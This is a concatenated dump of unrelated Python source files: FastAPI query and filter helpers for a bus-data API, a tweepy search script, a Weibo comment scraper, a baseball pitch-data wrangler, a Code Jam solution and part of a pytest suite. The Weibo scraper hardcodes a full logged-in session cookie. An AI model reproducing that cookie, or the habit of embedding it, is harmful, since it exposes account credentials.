100\nMAX_LIMIT = 500000\nQUERY_PAGE_SIZE = 1000\nDEBUG = bool(os.environ.get('DEBUG'))\n\n\nFILTER_DOCS = {\n \"list\": 'Filter by {what_singular}. Comma-separated list of values.',\n \"prefix\": 'Filter by {what_singular} prefix. Only return items which start with given string.',\n \"equals\": 'Filter by {what_singular}. Only return items which exactly match given string.',\n \"contains\": 'Filter by {what_singular}. Only return items which contain given string.',\n \"datetime_from\": 'Filter by {what_singular}. Only return items which have date/time after or equals to given value. Format: \"YYYY-MM-DDTHH:MM:SS+Z\", e.g. \"2021-11-03T55:48:49+02:00\". '\n 'Note that all date/times must have a timezone specification.',\n \"datetime_to\": 'Filter by {what_singular}. Only return items which have date/time before or equals to given value. Format: \"YYYY-MM-DDTHH:MM:SS+Z\", e.g. \"2021-11-03T55:48:49+02:00\". '\n 'Note that all date/times must have a timezone specification.',\n \"date_from\": 'Filter by {what_singular}. Only return items which have a date after or equals to given value. Format: \"YYYY-MM-DD\", e.g. \"2021-11-03\".',\n \"date_to\": 'Filter by {what_singular}. Only return items which have a date before or equals to given value. Format: \"YYYY-MM-DD\", e.g. \"2021-11-03\".',\n \"hour_from\": 'Filter by {what_singular}. Only return items which have an hour date after or equals to given value. Format: 0(12AM)-23',\n \"hour_to\": 'Filter by {what_singular}. Only return items which have a date before or equals to given value. Format: 0(12AM)-23',\n \"greater_or_equal\": 'Filter by {what_singular}. Only return items which have a numeric value greater than or equal to given value',\n \"lower_or_equal\": 'Filter by {what_singular}. Only return items which have a numeric value lower than or equal to given value',\n}\n\n\ndef debug_print(*args):\n if DEBUG:\n print(*args)\n\n\ndef post_process_response_obj(obj, convert_to_dict):\n if convert_to_dict is None:\n if hasattr(obj, '__dict__'):\n return obj.__dict__\n else:\n return obj._asdict()\n else:\n return convert_to_dict(obj)\n\n\ndef streaming_response_iterator(session, first_items, q_iterator, convert_to_dict):\n try:\n yield b\"[\"\n for i, obj in enumerate(itertools.chain(first_items, q_iterator)):\n item = post_process_response_obj(obj, convert_to_dict)\n item = fastapi.encoders.jsonable_encoder(item)\n if i > 0:\n yield b\",\"\n yield json.dumps(item).encode()\n if i == 0:\n debug_print(f'yielded first item: {item}')\n if i + 1 >= MAX_LIMIT:\n raise Exception(\"Too many results, please limit the query\")\n yield b\"]\"\n finally:\n session.close()\n\n\ndef get_list(*args, convert_to_dict=None, **kwargs):\n debug_print(f'start get_list {args}')\n session = _sessionmaker()\n try:\n q = get_list_query(session, *args, **kwargs)\n if kwargs.get('get_count'):\n debug_print(f'Getting count for query {q}')\n q_count = q.count()\n session.close()\n return fastapi.Response(content=str(q_count), media_type=\"application/json\")\n else:\n debug_print(f'Getting results for query: {q}')\n if not hasattr(q, '__q_limit') or not q.__q_limit or q.__q_limit > QUERY_PAGE_SIZE:\n debug_print(f'adding yield_per({QUERY_PAGE_SIZE}) to query')\n q = q.yield_per(QUERY_PAGE_SIZE)\n q_iterator = (obj for obj in q)\n first_items = list(itertools.islice(q_iterator, QUERY_PAGE_SIZE + 1))\n if len(first_items) <= QUERY_PAGE_SIZE:\n debug_print(f'got {len(first_items)} items - returning without streaming')\n data = [post_process_response_obj(obj, convert_to_dict) for obj in first_items]\n session.close()\n return data\n else:\n debug_print(f'got {len(first_items)} items - returning using streaming')\n return fastapi.responses.StreamingResponse(\n streaming_response_iterator(session, first_items, q_iterator, convert_to_dict),\n media_type=\"application/json\"\n )\n except:\n session.close()\n raise\n\n\ndef get_base_session_query(session, db_model, pydantic_model=...):\n # we have to set select fields for queries otherwise database migrations which add fields\n # cause the api to fail with \"no such column\" because it tries to select all fields which\n # are defined in stride db model\n assert pydantic_model is not ...\n if pydantic_model is None:\n # This is not recommended, because it relies on db model matching the DB migrations and\n # in some cases they may be mismatched, if migrations failed to run or if api was updated\n # before migrations were applied.\n session_query = session.query(db_model)\n else:\n session_query = session.query(*[\n getattr(db_model, key)\n for key\n in pydantic_model.schema()['properties'].keys()\n ])\n return session_query\n\n\ndef process_list_query_order_by_limit_offset(skip_order_by, order_by, get_count, limit, offset, skip_order_by_id_field=False):\n order_by_args = None\n res_limit = None\n res_offset = None\n if skip_order_by:\n assert not order_by\n else:\n order_by_args = []\n order_by_has_id_field = False\n if order_by:\n for ob in order_by.split(','):\n ob = ob.strip()\n if not ob:\n continue\n ob = ob.split()\n if len(ob) == 1:\n field_name = ob[0]\n direction = None\n else:\n field_name, direction = ob\n if field_name.lower() == 'id':\n order_by_has_id_field = True\n order_by_args.append((('desc' if direction == 'desc' else 'asc'), field_name))\n if not get_count:\n if limit != -1 and not order_by_has_id_field and not skip_order_by_id_field:\n order_by_args.append(('desc', 'id'))\n if limit and limit != -1:\n res_limit = limit\n if offset:\n res_offset = offset\n return order_by_args, res_limit, res_offset\n\n\ndef get_list_query(session, db_model, limit, offset, filters=None, default_limit=DEFAULT_LIMIT,\n order_by=None, skip_order_by=False, get_count=False,\n post_session_query_hook=None, pydantic_model=...,\n get_base_session_query_callback=None):\n debug_print(f'get_list_query: limit={limit}, offset={offset}, order_by={order_by}')\n if get_count:\n limit, offset, default_limit, order_by = None, None, None, None\n elif not limit and default_limit:\n limit = default_limit\n if limit:\n limit = int(limit)\n if filters is None:\n filters = []\n if get_base_session_query_callback is None:\n session_query = get_base_session_query(session, db_model, pydantic_model)\n else:\n session_query = get_base_session_query_callback(session)\n if post_session_query_hook:\n session_query = post_session_query_hook(session_query)\n for filter in filters:\n session_query = globals()['get_list_query_filter_{}'.format(filter['type'])](session_query, filters, filter)\n q_order_by_args, q_limit, q_offset = process_list_query_order_by_limit_offset(skip_order_by, order_by, get_count, limit, offset)\n if q_order_by_args is not None:\n order_by_args = []\n for direction, field_name in q_order_by_args:\n order_by_args.append((sqlalchemy.desc if direction == 'desc' else sqlalchemy.asc)(getattr(db_model, field_name)))\n session_query = session_query.order_by(*order_by_args)\n if q_limit is not None:\n session_query = session_query.limit(q_limit)\n if q_offset is not None:\n session_query = session_query.offset(q_offset)\n session_query.__q_limit = q_limit\n return session_query\n\n\ndef get_list_query_filter_equals(session_query, filters, filter):\n if filter['value'] is not None:\n session_query = session_query.filter(filter['field'] == filter['value'])\n return session_query\n\n\ndef get_list_query_filter_in(session_query, filters, filter):\n value = filter['value']\n if value is not None:\n if isinstance(value, str):\n value = value.split(',')\n if len(value) > 0:\n assert len(value) <= 1000, 'too many items in list, maximum allowed is 1000 items'\n session_query = session_query.filter(filter['field'].in_(value))\n return session_query\n\n\ndef get_list_query_filter_datetime_from(session_query, filters, filter):\n if filter['value'] is not None:\n session_query = session_query.filter(filter['field'] >= filter['value'])\n return session_query\n\n\ndef get_list_query_filter_datetime_to(session_query, filters, filter):\n if filter['value'] is not None:\n session_query = session_query.filter(filter['field'] <= filter['value'])\n return session_query\n\n\ndef get_list_query_filter_prefix(session_query, filters, filter):\n if filter['value'] is not None:\n session_query = session_query.filter(filter['field'].like('{}%'.format(filter['value'])))\n return session_query\n\n\ndef get_list_query_filter_contains(session_query, filters, filter):\n if filter['value'] is not None:\n session_query = session_query.filter(filter['field'].like('%{}%'.format(filter['value'])))\n return session_query\n\n\ndef get_list_query_filter_date_in_range(session_query, filters, filter):\n if filter['value'] is not None:\n min_field, max_field = filter['fields']\n session_query = session_query.filter(filter['value'] >= min_field, filter['value'] <= max_field)\n return session_query\n\n\ndef get_list_query_filter_greater_or_equal(session_query, filters, filter):\n if filter['value'] is not None:\n session_query = session_query.filter(filter['field'] >= float(filter['value']))\n return session_query\n\n\ndef get_list_query_filter_lower_or_equal(session_query, filters, filter):\n if filter['value'] is not None:\n session_query = session_query.filter(filter['field'] <= float(filter['value']))\n return session_query\n\n\ndef get_item(db_model, field, value, pydantic_model=...):\n with get_session() as session:\n session_query = get_base_session_query(session, db_model, pydantic_model)\n obj = session_query.filter(field == value).one()\n return post_process_response_obj(obj, None)\n\n\nclass PydanticRelatedModel():\n\n def __init__(self, field_name_prefix, pydantic_model, exclude_field_names=None, include_field_names=None):\n self.field_name_prefix = field_name_prefix\n self.pydantic_model = pydantic_model\n self.exclude_field_names = exclude_field_names\n self.include_field_names = include_field_names\n\n def update_create_model_kwargs(self, kwargs):\n for name, field in self.pydantic_model.__fields__.items():\n if self.include_field_names and name not in self.include_field_names:\n continue\n if self.exclude_field_names and name in self.exclude_field_names:\n continue\n default = field.default\n if default is ...:\n default = None\n kwargs['{}{}'.format(self.field_name_prefix, name)] = (field.type_, default)\n\n def add_session_query_entities(self, db_model, session_query):\n for name in self.pydantic_model.__fields__.keys():\n if self.exclude_field_names and name in self.exclude_field_names:\n continue\n session_query = session_query.add_entity(getattr(db_model, name).label('{}{}'.format(self.field_name_prefix, name)))\n return session_query\n\n\ndef pydantic_create_model_with_related(model_name, base_model, *related_models):\n kwargs = {}\n for name, field in base_model.__fields__.items():\n kwargs[name] = (field.type_, field.default)\n for related_model in related_models:\n related_model.update_create_model_kwargs(kwargs)\n return pydantic.create_model(model_name, **kwargs)\n\n\ndef param_limit(default_limit=DEFAULT_LIMIT, as_RouteParam=False):\n if as_RouteParam:\n return RouteParam('limit', int, param_limit(default_limit=default_limit))\n else:\n return fastapi.Query(\n None,\n description=f'Limit the number of returned results. '\n f'If not specified will limit to {default_limit} results. '\n f'To get more results, you can either use the offset param, '\n f'alternatively - set the limit to -1 and use http streaming '\n f'with compatible json streaming decoder to get all results, '\n f'this method can fetch up to a maximum of {MAX_LIMIT} results.'\n )\n\n\ndef doc_param(what_singular: str, filter_type: str, description: str = \"\", example: str = \"\", default: str = None):\n filter_description = FILTER_DOCS.get(filter_type)\n if filter_description:\n description += \"\\n\\n{0}\".format(filter_description.format(what_singular=what_singular))\n if example:\n description += \"\\n\\nExample: {0}\".format(example)\n return fastapi.Query(default, description=description)\n\n\nclass DocParam:\n\n def __init__(self, what_singular: str, filter_type: str, description: str = \"\", example: str = \"\", default: str = None):\n self.what_singular = what_singular\n self.filter_type = filter_type\n self.description = description\n self.example = example\n self.default = default\n\n def get_doc_param(self):\n return doc_param(self.what_singular, self.filter_type, self.description, self.example, self.default)\n\n def get_with_prefix(self, prefix):\n return DocParam(\n f'{prefix} {self.what_singular}',\n self.filter_type, self.description, self.example, self.default\n )\n\n\ndef param_offset(as_RouteParam=False):\n if as_RouteParam:\n return RouteParam('offset', int, param_offset())\n else:\n return fastapi.Query(None, description='Item number to start returning results from. '\n 'Use in combination with limit for pagination, '\n 'alternatively, don\\'t set offset, set limit to -1 '\n 'and use http streaming with compatible json streaming '\n f'decoder to get all results up to a maximum of {MAX_LIMIT} results.')\n\n\ndef param_get_count(as_RouteParam=False):\n if as_RouteParam:\n return RouteParam('get_count', bool, param_get_count())\n else:\n return fastapi.Query(False, description='Set to \"true\" to only get the total number of results for given filters. limit/offset/order parameters will be ignored.')\n\n\ndef param_filter_list(what_singular, example='1,2,3'):\n return fastapi.Query(None, description=f'Filter by {what_singular}. Comma-separated list of values, e.g. \"{example}\".')\n\n\ndef param_filter_prefix(what_singular):\n return fastapi.Query(None, description=f'Filter by {what_singular} prefix. Only return items which start with given string.')\n\n\ndef param_filter_equals(what_singular):\n return fastapi.Query(None, description=f'Filter by {what_singular}. Only return items which exactly match given string.')\n\n\ndef param_filter_contains(what_singular):\n return fastapi.Query(None, description=f'Filter by {what_singular}. Only return items which contain given string.')\n\n\ndef param_filter_datetime_from(what_singular):\n return fastapi.Query(None, description=f'Filter by {what_singular}. Only return items which have date/time after or equals to given value. Format: \"YYYY-MM-DDTHH:MM:SS+Z\", e.g. \"2021-11-03T55:48:49+02:00\". '\n f'Note that all date/times must have a timezone specification.')\n\n\ndef param_filter_datetime_to(what_singular):\n return fastapi.Query(None, description=f'Filter by {what_singular}. Only return items which have date/time before or equals to given value. Format: \"YYYY-MM-DDTHH:MM:SS+Z\", e.g. \"2021-11-03T55:48:49+02:00\". '\n f'Note that all date/times must have a timezone specification.')\n\n\ndef param_filter_date_from(what_singular):\n return fastapi.Query(None, description=f'Filter by {what_singular}. Only return items which have a date after or equals to given value. Format: \"YYYY-MM-DD\", e.g. \"2021-11-03\".')\n\n\ndef param_filter_date_to(what_singular):\n return fastapi.Query(None, description=f'Filter by {what_singular}. Only return items which have a date before or equals to given value. Format: \"YYYY-MM-DD\", e.g. \"2021-11-03\".')\n\n\ndef param_filter_greater_or_equal(what_singular, example):\n return fastapi.Query(None, description=f'Filter by {what_singular}. Only return items which have a numeric value greater than or equal to given value. Example value: {example}')\n\n\ndef param_filter_lower_or_equal(what_singular, example):\n return fastapi.Query(None, description=f'Filter by {what_singular}. Only return items which have a numeric value lower than or equal to given value. Example value: {example}')\n\n\ndef param_order_by(default='id asc', as_RouteParam=False):\n if as_RouteParam:\n return RouteParam('order_by', str, param_order_by(default=default))\n else:\n return fastapi.Query(\n default,\n description=f'Order of the results. Comma-separated list of fields and direction. e.g. \"field1 asc,field2 desc\".'\n )\n\n\ndef router_list(router, tag, pydantic_model, what_plural):\n return router.get(\"/list\", tags=[tag], response_model=typing.List[pydantic_model], description=f'List of {what_plural}.')\n\n\nclass RouteParam():\n\n def __init__(self, name, annotation, param, filter_kwargs=None):\n self.name = name\n self.annotation = annotation\n self.param = param\n self.filter_kwargs = filter_kwargs\n\n def get_signature_parameter(self):\n return inspect.Parameter(\n self.name,\n inspect.Parameter.KEYWORD_ONLY,\n default=self.param.get_doc_param() if isinstance(self.param, DocParam) else self.param,\n annotation=self.annotation,\n )\n\n def get_filter(self, kwargs):\n return {**self.filter_kwargs, 'value': kwargs[self.name]}\n\n def get_with_prefix(self, name_prefix, doc_param_prefix):\n assert isinstance(self.param, DocParam)\n return RouteParam(\n f'{name_prefix}{self.name}', self.annotation,\n self.param.get_with_prefix(doc_param_prefix), self.filter_kwargs\n )\n\n\ndef get_route_params_with_prefix(name_prefix, doc_param_prefix, route_params):\n return [\n route_param.get_with_prefix(name_prefix, doc_param_prefix) for route_param in route_params\n ]\n\n\ndef add_api_router_list(router, tag, pydantic_model, what_plural, route_params):\n\n def _decorator(func):\n func.__signature__ = inspect.signature(func).replace(parameters=[\n route_param.get_signature_parameter() for route_param in route_params\n ])\n router.add_api_route(\"/list\", func, tags=[tag], response_model=typing.List[pydantic_model], description=f'List of {what_plural}.')\n return func\n\n return _decorator\n\n\ndef router_get(router, tag, pydantic_model, what_singular):\n return router.get('/get', tags=[tag], response_model=pydantic_model,\n description=f'Return a single {what_singular} based on id')\n\n\ndef param_get_id(what_singular):\n return fastapi.Query(..., description=f'{what_singular} id to get')\n","repo_name":"hasadna/open-bus-stride-api","sub_path":"open_bus_stride_api/routers/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":20071,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"3776172420","text":"# By Kat Sullivan\n\nimport tweepy\nimport os\nimport json\nimport sys\nimport geocoder\n\n# API keys and tokens\n# open a file called 'keys' with keys and tokens for this API\nkeyFile = open('keys.txt', 'r')\nbearer_token = keyFile.readline().rstrip()\nconsumer_key = keyFile.readline().rstrip()\nconsumer_secret = keyFile.readline().rstrip()\naccess_token = keyFile.readline().rstrip()\naccess_token_secret = keyFile.readline().rstrip()\n\nclient = tweepy.Client(\n\tbearer_token=bearer_token,\n\tconsumer_key = consumer_key,\n\tconsumer_secret = consumer_secret,\n\taccess_token = access_token,\n\taccess_token_secret = access_token_secret\n)\n\n# recent tweeks from Barack Obama\nquery = 'from:BarackObama -is:retweet'\nresponse = client.search_recent_tweets(query=query,\ntweet_fields=['author_id', 'created_at'],\nmax_results=100)\n\nprint(response)\n\n","repo_name":"katsully/new-awesome-repo","sub_path":"tweetDalle.py","file_name":"tweetDalle.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38724076759","text":"\n#coding:utf-8\n\nimport re\nimport time\nimport string\nimport sys\nimport os\nimport urllib\n# import urllib2\nfrom bs4 import BeautifulSoup\nimport bs4\nimport requests\nfrom lxml import etree\nimport urllib.request\n#得到页面,生成soup对象\ndef gethtml(url):\n try_time =1\n while try_time<20:\n try_time+=1\n cookie = {\n \"Cookie\": \"_T_WM=f16f4a1bee6ff34ecda2868888ad6546; ALF=1515136067; SCF=AhRWkskDIqR__t_aafLb3KrbassNG8gLm-PlMan91r2qg2achRxqJydhiY2T0IgHeqVWdtF91_Qhe3uagRECTT8.; SUB=_2A253I-u6DeRhGeBM6VMW9ivMyDmIHXVU7_XyrDV6PUJbktANLWzZkW1NRRKNlV7rcvcouaHcPa2gRmcILoOhXd28; SUBP=0033WrSXqPxfM725Ws9jqgMF55529P9D9W5Bzzm2qp5S0fdgcLv7fVCE5JpX5K-hUgL.FoqEeo2NSo-7e0-2dJLoI0zLxKBLBo.LBK5LxKqL1heLB-qLxKqL1h5LBKMLxK.L1-2L1K5LxKnLB.2LB-zN1K2fe5tt; SUHB=0M2Fb6wmyA2fQJ; SSOLoginState=1512545258; H5:PWA:UID=1; M_WEIBOCN_PARAMS=featurecode%3D20000320%26luicode%3D10000011%26lfid%3D1076031483330984\"}\n html = requests.get(url, cookies=cookie).text\n if html=='':\n print('sleep......')\n time.sleep(2*60)\n continue\n # else:\n # soup = BeautifulSoup(html, 'html.parser')\n return html\n\n\n#热门微博\n\nhtml = gethtml('https://weibo.cn/pub/topmblog')\nsoup = BeautifulSoup(html, 'html.parser')\nprint('html0:','******',str(html),'*******')\n#评论\n\na2= soup.find_all('a',class_=\"cc\")\nprint('a2_num ',len(a2))\n\n#遍历评论\n\npl_num = 0\nfor i in a2:\n pl_num +=1\n print('i', i)\n url_pl = str(i['href']).replace('https', '')\n url_pl = 'http' + str(re.match('^://wei.+?&', url_pl).group()) + 'rl=1' + '&page={}'\n # https://weibo.cn/comment/FyPC0yv0C?uid=1642591402&rl=1#cmtfrm\n # https://weibo.cn/comment/FyP6D3fnc?uid=5611361176&rl=1&page=2\n html = gethtml(url_pl.format(1))\n soup = BeautifulSoup(html, 'html.parser')\n try:\n page_sum = soup.select('input[name=\"mp\"]')[0]['value']\n except IndexError:\n html = gethtml(url_pl.format(1))\n soup = BeautifulSoup(html, 'html.parser')\n print('html2: ', '******', str(html), '*******')\n try:\n page_sum = soup.select('input[name=\"mp\"]')[0]['value']\n except IndexError:\n page_sum = 2\n print('page_sum ', page_sum)\n\n # 遍历评论页面\n\n for page_num in range(1, int(page_sum)):\n url = url_pl.format(page_num)\n print('\\n', 'page:', pl_num, '-', page_num, ' url: ', url, '**************************',\n '\\n')\n # //*[@id=\"pagelist\"]/form/div/text()[4]\n\n # url = 'https://weibo.cn/search/mblog?hideSearchFrame=&keyword=%s&page=1'%('sousuo')\n # 搜索是%a%f得转码 ?????\n # .com\n # url = 'http://weibo.com/u/6221765035'\n html = gethtml(url)\n soup = BeautifulSoup(html, 'html.parser')\n print('html3', '******', str(html), '*******')\n # print(len(html))\n\n # if len(html) < 1024 * 5:------------------------\n # pass\n # soup = BeautifulSoup(html)\n span_all = soup.find_all('span', class_=\"ctt\")\n # 遍历评论页面所有评论\n\n for span in span_all:\n print(span)\n con_list = []\n for j in span.contents:\n if str(j) != '回复' and str(j) != ' ' and str(j) != ' \\u200b\\u200b\\u200b' and type(\n j) == bs4.element.NavigableString:\n print('j ', str(j).replace(':', ''))\n con_list.append(str(j).replace(':', ''))\n con = ''.join(con_list)\n if con == '':\n continue\n print('con: ', con)\n with open('pinglun.txt', 'a') as f:\n f.write(str(con).replace(':', '') + '\\n')\n","repo_name":"zihuijin/JZH","sub_path":"cwaler/remen_weibo.py","file_name":"remen_weibo.py","file_ext":"py","file_size_in_byte":3713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4848508634","text":"import sqlite3\nimport pandas as pd\nfrom sklearn.preprocessing import OneHotEncoder\nimport numpy as np\n\n\ndef query_database(db_name, query):\n '''\n Args: str, str\n Returns df.\n '''\n conn = sqlite3.connect(f'{db_name}.db')\n df = pd.read_sql_query(query, conn)\n conn.close()\n \n return df\n\n \ndef rename_to_curveball(df, indexes):\n '''\n Args: df, list of ints\n Renames pitch_type to CU for curveball.\n Outs: None\n '''\n for ix in indexes:\n df.at[ix, 'pitch_type'] = 'CU'\n \n\ndef onehot_encode(df, field_name):\n '''\n Args: df, str\n Encoder outputs a 2d array, then reattaches the header outputs a dataframe.\n Finally, it adds the spase array to the original df.\n Outs: dataframe\n '''\n enc = OneHotEncoder(dtype=int, sparse=False)\n x = np.array(df[field_name]).reshape(-1, 1)\n\n arr = enc.fit_transform(x)\n arr = np.concatenate((enc.categories_, arr))\n arr = pd.DataFrame(arr[1:], columns=arr[0], dtype=int)\n df = pd.concat([df, arr], axis=1)\n df = df.fillna(0)\n\n return df\n\n\ndef change_values(df, field_name, to_change, change_to):\n '''\n Args: dataframe, str, list, list\n Changes values from a column based on input list.\n ResultsL None\n '''\n df.loc[:, field_name].replace(to_change, change_to, inplace=True)\n \n \ndef backwards_k(df):\n '''\n Args: df, str, str\n Add strikeouts looking to events.\n Outs: None\n '''\n for ix, x in enumerate(df[\"events\"]):\n if df[\"events\"][ix] == 'strikeout':\n if df[\"description\"][ix] == 'called_strike':\n df[\"events\"][ix] = 'called_' + df[\"events\"][ix]\n\n \ndef backfiller(df, col_to_fill, col_to_fill_from):\n '''\n Args: df, str, str\n Filling in None values with another column.\n Outs: None\n '''\n for ix, x in enumerate(df[col_to_fill]):\n if x == None:\n df[col_to_fill][ix] = df[col_to_fill_from][ix]\n\n \ndef make_datetime(df):\n df['game_date'] = pd.to_datetime(df['game_date'])\n\n \ndef drop_columns(df, columns):\n '''\n Args: df, list\n Outs: df\n '''\n return df.drop(columns, axis=1)\n \n \ndef save_df(df, file_name):\n '''\n Args: df, str\n Outs: None\n '''\n df.to_csv(f'{file_name}.csv', index=False)\n\n \ndef player_df(df, player_name):\n '''\n Args: df, str\n Outs: df\n '''\n df = df[df['player_name'] == player_name]\n #This creates a boolean dataframe of all rows and only columns with at least 1 nonzero value.\n df = df.loc[:, (df != 0).any(axis=0)]\n \n return df\n\n\nif __name__ == \"__main__\":\n df = query_database('NYY_NYM_2020', '''\n SELECT player_name, pitcher, game_date, pitch_type, pitch_name, balls,\n strikes, release_speed, release_spin_rate, events, description, zone,\n release_pos_x, release_pos_z, pfx_x, pfx_z, plate_x, plate_z,\n release_extension, vx0, vy0, vz0, ax, ay, az\n FROM statcast\n WHERE pitch_type IS NOT NULL; ''')\n \n change_values(df, 'events', ['caught_stealing_2b', 'caught_stealing_3b',\n 'pickoff_caught_stealing_2b', 'run', 'pickoff_2b',\n 'other_out', 'strikeout_double_play', 'interf_def',\n 'fielders_choice_out', 'fielders_choice',\n 'grounded_into_double_play', 'force_out', 'double_play',\n 'sac_bunt', 'sac_fly', 'hit_by_pitch'],\n [None, None, None, None, None, None, 'strikeout', 'field_error',\n 'field_out', 'field_out', 'field_out', 'field_out', 'field_out',\n 'field_out', 'field_out', 'walk'])\n \n change_values(df, 'description', ['foul_bunt', 'swinging_strike_blocked',\n 'missed_bunt','foul_tip', 'foul', 'blocked_ball',\n 'pitchout'], \n ['swinging_strike', 'swinging_strike', 'swinging_strike', 'swinging_strike',\n 'swinging_strike','ball', 'ball'])\n \n backwards_k(df)\n backfiller(df, \"events\", \"description\")\n \n make_datetime(df)\n df = onehot_encode(df, \"pitch_type\")\n\n #Cole has a knuckle curve which i want to rename to curveball.\n df.CU = df.KC+df.CU\n df = drop_columns(df, ['description', 'KC'])\n df = pd.concat([player_df(df, 'Gerrit Cole'), player_df(df, 'Jacob deGrom')])\n change_values(df, 'pitch_name', ['4-Seam Fastball', 'Knuckle Curve'],\n ['Fastball', 'Curveball'])\n change_values(df, 'pitch_type', ['KC'], ['CU'])\n \n save_df(df, 'aces_2020')","repo_name":"konstanzer/ace-versus-ace","sub_path":"src/wrangler.py","file_name":"wrangler.py","file_ext":"py","file_size_in_byte":4757,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23449269651","text":"infile = open(\"A-large.in\",\"r\")\r\noutfile = open(\"A-large.out\",\"w\")\r\n\r\nT = int(infile.readline())\r\n\r\nfor case in range(T):\r\n solution = 0\r\n maxShy, shynesses = infile.readline().split()\r\n maxShy = int(maxShy)\r\n shynesses = list(shynesses)\r\n total = 0\r\n for shyness in range(maxShy+1):\r\n while total < shyness:\r\n solution += 1\r\n total += 1\r\n total += int(shynesses[shyness])\r\n outfile.write(\"Case #\" + str(case+1) + \": \" + str(solution) + \"\\n\")\r\n\r\ninfile.close()\r\noutfile.close()\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_155/1508.py","file_name":"1508.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70054130114","text":"import multiprocessing\nimport os\nimport pandas as pd\nimport sys\nimport random\nimport pytest as pt\nfrom brainex.database import genexengine as gxdb\nfrom brainex.utils import gxe_utils as gutils\n\n\nclass TestGenex_database:\n num_cores = multiprocessing.cpu_count()\n\n def test_python_version(self):\n assert sys.version_info[0] == 3\n\n def test_load(self):\n # related path vs absolute path\n data_file = '../brainex/experiments/data/ItalyPower.csv'\n # Missing a default parameter while loading a data file\n with pt.raises(TypeError) as e:\n gutils.load(data_file, num_worker=self.num_cores)\n assert 'provide a valid feature number' in str(e.value)\n\n with pt.raises(TypeError) as e:\n gutils.load(data_file, num_worker=self.num_cores, feature_num=1.5)\n assert 'provide a valid feature number' in str(e.value)\n\n # Loading a dataset from a fake path\n fake_path = '../brainex/fake_path'\n with pt.raises(ValueError) as e:\n gutils.load(fake_path, num_worker=self.num_cores)\n assert 'Not a valid file name or directory path' in str(e.value)\n\n def test_from_csv(self):\n data_file = '../brainex/experiments/data/ItalyPower.csv'\n feature_num = 0\n\n df = pd.read_csv(data_file)\n\n test_db = gutils.from_csv(data=data_file, feature_num=feature_num, num_worker=self.num_cores,\n use_spark=False)\n test_db_id_ls = [x[0] for x in test_db.data_original]\n\n assert _check_unique(test_db_id_ls)\n assert len(df) == len(test_db_id_ls)\n del test_db\n\n # Running test for another dataset including column header\n data_file = '../brainex/experiments/data_original/fNIRS.csv'\n feature_num = 5\n df = pd.read_csv(data_file, header=0) # header is only used to avoid duplicate code\n\n test_db = gutils.from_csv(data=data_file, feature_num=feature_num, num_worker=self.num_cores,\n use_spark=False)\n test_db_id_ls = [x[0] for x in test_db.data_original]\n\n assert _check_unique(test_db_id_ls)\n assert len(df) == len(test_db_id_ls)\n del test_db\n\n def test_from_csv_2(self):\n # The provided feature number is incorrect\n # 1. feature_num < the real feature number of the dataset\n data_file = '../brainex/experiments/data_original/fNIRS.csv'\n feature_num = 2\n df = pd.read_csv(data_file)\n\n test_db = gutils.from_csv(data=data_file, feature_num=feature_num, num_worker=self.num_cores,\n use_spark=False)\n tb_id_ls = [x[0] for x in test_db.data_original]\n\n assert _check_unique(tb_id_ls)\n assert len(tb_id_ls) == len(df)\n del test_db, tb_id_ls\n\n # 2. feature_num > the real feature number of the dataset\n feature_num = 6\n test_db = gutils.from_csv(data_file, feature_num, self.num_cores, False)\n id_ls = [x[0] for x in test_db.data_original]\n\n assert _check_unique(id_ls)\n assert len(id_ls) == len(df)\n\n def test_from_db(self):\n data_file = '../brainex/experiments/data_original/fNIRS.csv'\n feature_num = 5\n path = '../experiments/unittest/test_db'\n\n # Before executing build method\n db = gutils.load(file_or_path=data_file, num_worker=self.num_cores, feature_num=feature_num, use_spark=False)\n db_attributes = db.conf\n db_data_original = db.data_original\n db.save(path=path)\n\n db_after_save = gutils.load(file_or_path=path, num_worker=self.num_cores, use_spark=False)\n\n assert db_attributes == db_after_save.conf\n assert db_data_original == db_after_save.data_original\n del db_after_save\n\n # After executing build method\n db.build(st=0.05, loi=(db.get_max_seq_len() - 5, db.get_max_seq_len()))\n db_attributes = db.conf\n db_data_original = db.data_original\n db.save(path=path)\n\n db_after_save = gutils.load(file_or_path=path, num_worker=self.num_cores, use_spark=False)\n\n assert db_attributes == db_after_save.conf\n assert db_data_original == db_after_save.data_original\n\n def test_from_db_2(self):\n # Load a dataset from a valid dir path, but the dir itself is empty\n empty_dir_path = os.path.join(os.getcwd(), 'empty_db')\n\n if os.path.exists(empty_dir_path) is False:\n os.mkdir(empty_dir_path)\n\n with pt.raises(ValueError) as ve:\n test_db = gutils.from_db(empty_dir_path, num_worker=self.num_cores)\n os.removedirs(empty_dir_path)\n assert 'no such database' in str(ve.value)\n\n def test_build(self):\n # Test case for the functionality of build method\n # After grouping\n data_file = '../brainex/experiments/data/ItalyPower.csv'\n feature_num = 0\n\n # Checking numbers of subsequences before clustering\n test_db = gutils.from_csv(data_file, feature_num=feature_num, num_worker=12,\n use_spark=False, _rows_to_consider=15)\n\n test_db.build(st=0.05, loi=(test_db.get_max_seq_len() - 5, test_db.get_max_seq_len()))\n\n seq_num_group = test_db.get_num_subsequences()\n seq_dict_cluster = test_db.cluster_meta_dict\n count = 0\n\n for v in seq_dict_cluster.values(): # {len of Sequences: {seq repre: number}}\n for num in v.values():\n count += num\n\n assert seq_num_group == count\n\n def test_build_2(self):\n # Test cases for parameters\n data_file = '../brainex/experiments/data/ItalyPower.csv'\n tdb = gutils.from_csv(data_file, feature_num=0, num_worker=self.num_cores, use_spark=False)\n\n # Test case for the similarity threshold\n with pt.raises(Exception) as e:\n tdb.build(st=float('inf'))\n assert 'build st must be between 0. and 1.' in str(e.value)\n\n # Test case for the distance type parameter\n with pt.raises(Exception) as e:\n tdb.build(st=0.6, dist_type='ue')\n assert 'Unknown distance type' in str(e.value)\n\n def test_build_3(self):\n # Test cases for the loi parameter\n data_file = 